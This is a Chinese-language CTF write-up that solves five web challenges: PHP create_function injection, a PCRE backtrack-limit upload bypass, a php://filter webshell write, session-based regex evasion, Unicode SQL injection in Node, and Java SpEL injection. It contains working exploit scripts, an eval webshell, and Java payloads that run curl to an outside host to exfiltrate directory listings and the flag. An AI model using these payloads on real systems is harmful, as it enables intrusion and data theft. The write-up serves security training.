前言
这个是知识星球里面的一个比赛,一开始的时候事情多,没及时做,最近刷ph牛的文章看到这个比赛,找来复现一下
function
题目
function这题是一个php代码审计题,题目很短1
2
3
4
5
6
7
8
9
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
可以看到,题目想要我们输入两个参数绕过正则,然后就可以执行任意命令了
题解
寻找可利用字符
我们先审计源码,可以看到如果传过来action
和arg
那就分别赋值,然后对action
进行正则表达式过滤
先看正则表达式1
2
3
4/^[a-z0-9_]*$/isD
/i 忽略大小写
/s 匹配任何不可见字符
/D 如果正则表达式用$限制结尾字符,则不允许结尾有换行
所以我们现在就要找一个开头不是字母数字和下划线的值,同时还要可以正常地执行函数
因此我们先fuzz一下1
2
3
4
5
6
7
8
9
10
11import requests
for i in range(0,256):
s= hex(i)[2:]
if len(s)<2:
s = '%0'+s
else:
s = '%'+s
url = 'http://xiaorouji.cn:8087/?action='+s+'var_dump&arg=find'
r = requests.get(url=url).content
if 'find' in r:
print s
跑出来%5c
可以成功绕过,原因p神在小密圈说了1
2php里默认命名空间是\,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。
如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
寻找getshell函数
接下来的利用我们就要用到create_function
函数了
在官方手册中它是这样的1
create_function ( string $args , string $code ) : string
这个函数由两个参数组成,第一个是函数名,第二个是函数内的代码。官方例子如下1
2
3
4
5$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
实际上也就是
function test($a,$b){
return "ln($a) + ln($b) = ".log($a*$b);
}
也可以简单理解成1
2
3create_function($_GET['args'],$_GET['code']);
$a = 'function __lambda_func('.$_GET['args'].'){'.$_GET['code'].'}\0';
eval($a);
顺便看一下create_function
的源码也可以看到第一个参数是用(
闭合的,第二个是用{
闭合的
getflag
剩下的就是闭合以及利用了,尝试一下能不能得到phpinfo
接下来就是getshell了,尝试下利用system函数
发现被禁了,那就试下scandir函数
成功getflag(这个flag是在上一层的目录上
parewaf
这个题目依旧很短,考的是php的正则特性
题目
1 |
|
可以看到,这是一个上传文件的代码
首先拿到了文件会先判断是不是里面有没有php代码,如果有就返回bad request
,否则就新建一个路径为data/md5($_SERVER['REMOTE_ADDR'])
,然后将文件命名为randon_int(0,10).php
存储在新建的文件夹里面,最后将存储路径在http头里面返回过来
题解
分析正则
首先我们先看一下他的正则表达式1
/<\?.*[(`; ].*/is
的匹配过程
可以看到它先是从前面匹配了<?
,接下来的.*
将所有都匹配了,然后还需要匹配就要回溯回去前面,因此一直回溯到前面的>
完成符号匹配,然后从该点开始向后进行匹配,完成最后的.*
匹配
而同时,php为了防止正则表达式的拒绝服务攻击,设置了一个回溯次数的上限
而如果回溯次数超过1000000的时候,它的返回就变成了false了
payload
既然已经知道要怎么绕过漏洞点了,接下来就是写payload了1
2
3
4
5
6
7
8
9import requests
from io import BytesIO
file = {
'file': BytesIO('<?php eval($_POST["cmd"]);//' + 'a'*1000010)
}
res = requests.post('http://xiaorouji.cn:8088/',files=file,allow_redirects=False)
print res.headers['Location']
拿到了shell文件目录以后就是利用了
getflag√
phpmagic
这个题目让人感觉略为懵逼,但是找到源码就做起来舒服了
题目
源码如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif;
题解
审计源码可以看到,文件名和文件内容我们都是可以知道的,但是文件内容会经过htmlspecialchars
,所以想直接传个小马是8可能的,但是php有一个特性,只要能进行文件传输的地方,基本是都是能进行协议流的传输的,我们先本地尝试一波
果然可以写文件,那么现在问题来了,文件名前面会加上$_SERVER['SERVER_NAME']
,同时后缀几乎全部过滤了,还有就是文件内容也不是完全可控的
首先文件名前面加上的$_SERVER['SERVER_NAME']
,我们可以通过修改Host
的值达到控制的目的
接下来,我们想要绕过后缀要用到一个黑魔法,所以我们只要在文件名后面加个\.
就可以绕过限制了
最后是文件内容不可控,但是我们可以看到,我们传过去的是base64编码的,在php伪协议解码的时候,遇到不规范的字符是会自动跳过解码的,因此我们只需要填充前面的规范字符使前面的字符是4的倍数,就能成功的让我们想写的shell文件成功解码了
先找一下前面的字符
可以看到规范字符ltltgtgtDiG9959deb8u15DebianltltgtgttAq
刚好40位,4的倍数,所以直接加文件内容就行啦
接下来就是利用了
这样就能写进webshell了
phplimit
这道题目很短,满足了正则就能执行任意命令了
题目
1 |
|
题解
从正则表达式可以看到它会匹配字母和括号,接下来找一找能绕过的方法
可以看到只要最内层的函数没有参数的话,正则就能绕过,这里我们利用session去达到执行命令的目的session_id
,用来设置或者获取当前会话的id,对应PHPSESSID的值session_start
,用来创建新的会话或者重用现有会话
因此我们可以利用session_id(session_start())
,但是PHPSESSID只允许字母数字和下划线,所以要将字符换下编码
最后就是利用了
还有一个其他师傅的payload1
readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
巨强
nodechr
一进去就是一大堆代码……
题目
首先审计源码可以看到题目将flag放进去数据库,然后让用户登录进去,先贴一波关键源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25function safeKeyword(keyword) {
if(isString(keyword) && !keyword.match(/(union|select|;|\-\-)/is)) {
return keyword
}
return undefined
}
async function login(ctx, next) {
if(ctx.method == 'POST') {
let username = safeKeyword(ctx.request.body['username'])
let password = safeKeyword(ctx.request.body['password'])
let jump = ctx.router.url('login')
if (username && password) {
let user = await ctx.db.get(`SELECT * FROM "users" WHERE "username" = '${username.toUpperCase()}' AND "password" = '${password.toUpperCase()}'`)
if (user) {
ctx.session.user = user
jump = ctx.router.url('admin')
}
}
ctx.status = 303
ctx.redirect(jump)
} else {
await ctx.render('index')
}
}
可以看到他将union
和select
那些过滤了,所以想直接读flag有点难,但是我们可以看到有个toUpperCase
函数,看下ph牛的这篇文章,因此我们可以利用这些字符写payload
最终payload1
2
3
4
5
6
7
8
9#coding:utf-8
import requests,base64
url = "http://xiaorouji.cn:8085/login"
data = {
"username": "admin",
"password": "0' unıon ſelect 1,flag,3 from flags where '1'='1"
}
res = requests.post(url,data=data).content
print res
Javacon
这题我们首先可以拿到一个jar包,然后用idea反编译出来可以看到一堆的java代码,肉鸡枯了…….
先看一下目录结构,有5个类和一个配置文件
配置文件里面放了用户信息,因此我们用admin/admin
是可以登录进网站的
接下来就去看MainController
文件,这里只放重点函数
可以看到登录的时候,如果选了remember-me,就会将用户加密存储在cookie里面
接着admin会对跳转之后的cookie做处理,判断remember-me的值是否存在,如果存在就解密
验证过程上图,可以看见是先找黑名单,如果匹配出来返回FORBIDDEN
,否则就继续下面的语句,在SmallEvaluationContext
中进行SPEL
解析,又因为有黑名单java.+lang,Runtime,exec.*\(
,所以最后的利用字符串拼接和反射构造pop链
exp如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32package com.company;
import javax.crypto.spec.IvParameterSpec;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import org.slf4j.LoggerFactory;
class Encryptor{
static org.slf4j.Logger logger = LoggerFactory.getLogger(Encryptor.class);
public static String encrypt(String key, String initVector, String value){
try{
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"),"AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
}catch (Exception e){
logger.warn(e.getMessage());
}
return null;
}
}
public class Main {
public static void main(String[] args) {
//查看目录
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cd / && ls|base64|tr \"\n\" \"-\"`'})}"));
//读flag文件
System.out.println(Encryptor.encrypt("c0dehack1nghere1", "0123456789abcdef", "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',T(String[])).invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(T(String).getClass().forName('java.l'+'ang.Ru'+'ntime')),new String[]{'/bin/bash','-c','curl http://abcdef.ceye.io/`cat flag_j4v4_chun|base64`'})}"));
}
}
读目录
读flag